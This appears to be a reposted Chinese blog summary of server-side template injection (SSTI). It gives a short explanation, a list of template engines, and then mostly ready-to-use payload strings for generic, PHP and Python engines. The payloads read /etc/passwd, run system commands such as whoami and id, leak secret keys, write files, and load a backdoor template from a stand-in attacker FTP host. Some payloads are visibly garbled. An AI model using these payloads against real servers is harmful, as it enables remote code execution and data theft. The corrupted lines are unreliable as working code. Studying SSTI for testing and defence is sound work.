服务端模板注入总结(SSTI, Server Side Template Injection)

admin 2024年2月15日15:07:46评论8 views字数 1588阅读5分17秒阅读模式

1 介绍

服务端模板注入(Server-Side Template Injection,简称 SSTI)是一种 WEB 应用漏洞。服务端模板注入和常见 Web 注入的成因一样,也是服务端接收了用户的输入,将其作为Web应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、命令执行、任意文件读取、任意文件写入等问题。其影响范围主要取决于模版引擎的复杂性。

简要利用流程如下:

服务端模板注入总结(SSTI, Server Side Template Injection)

2 常见模板引擎

语言 模板框架
Java Freemarker、Velocity、Thymeleaf、Groovy、jade
Python jinja2、tornado、mako、Django
PHP Smarty、Twig
Javascript Nunjucks、Marko、doT、Dust、ejs、VUE

3 模板注入Payload
1)通用

${{<%[%'"}}%.{% debug %}{7*7}{{ '7'*7 }}{2*2}[[7*7]]<%= 7 * 7 %>#{3*3}#{ 3 * 3 }[[3*3]]${2*2}@(3*3)${= 3*3}{{= 7*7}}${{7*7}}#{7*7}[=7*7]{{ request }}{{self}}{{dump(app)}}{{ [] .class.base.subclassesO }}{{''.class.mro()[l] .subclassesO}}for c in [1,2,3] %}{{ c,c,c }}{% endfor %}{{ [].__class__.__base__.__subclasses__O }}{{['cat%20/etc/passwd']|filter('system')}}

2)PHP

{php}print "Hello"{/php}{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}{{dump(app)}}{{app.request.server.all|join(',')}}"{{'/etc/passwd'|file_excerpt(1,30)}}"@{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}{$smarty.version}{php}echo `id`;{/php}{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())}

3)Python

{% debug %}{{settings.SECRET_KEY}}{% import foobar %} = Error{% import os %}{{os.system('whoami')}}

免责声明:本文仅用于安全研究和教育目的。文章中的信息仅供参考,不应被用于非法用途。由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

                                欢迎关注、点赞、转发

服务端模板注入总结(SSTI, Server Side Template Injection)

服务端模板注入总结(SSTI, Server Side Template Injection)

转载声明:本文的最终解释权归原作者所有。欢迎转载本文,但请注明原作者和出处且必须保证文章的完整性,即包含原文中的所有内容。本文内容仅代表原作者个人观点和研究成果,与任何组织无关。原作者已尽量确保文章内容的准确性,但不保证文章没有疏漏或错误。未征得作者同意,不可擅自删改本文内容,也不可用于任何商业用途。望尊重作者的知识产权,按照规定和要求使用本文。如有疑问,欢迎与作者联系。

原文始发于微信公众号(StepSnail):服务端模板注入总结(SSTI, Server Side Template Injection)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日15:07:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   服务端模板注入总结(SSTI, Server Side Template Injection)http://cn-sec.com/archives/2192123.html

发表评论

匿名网友 填写信息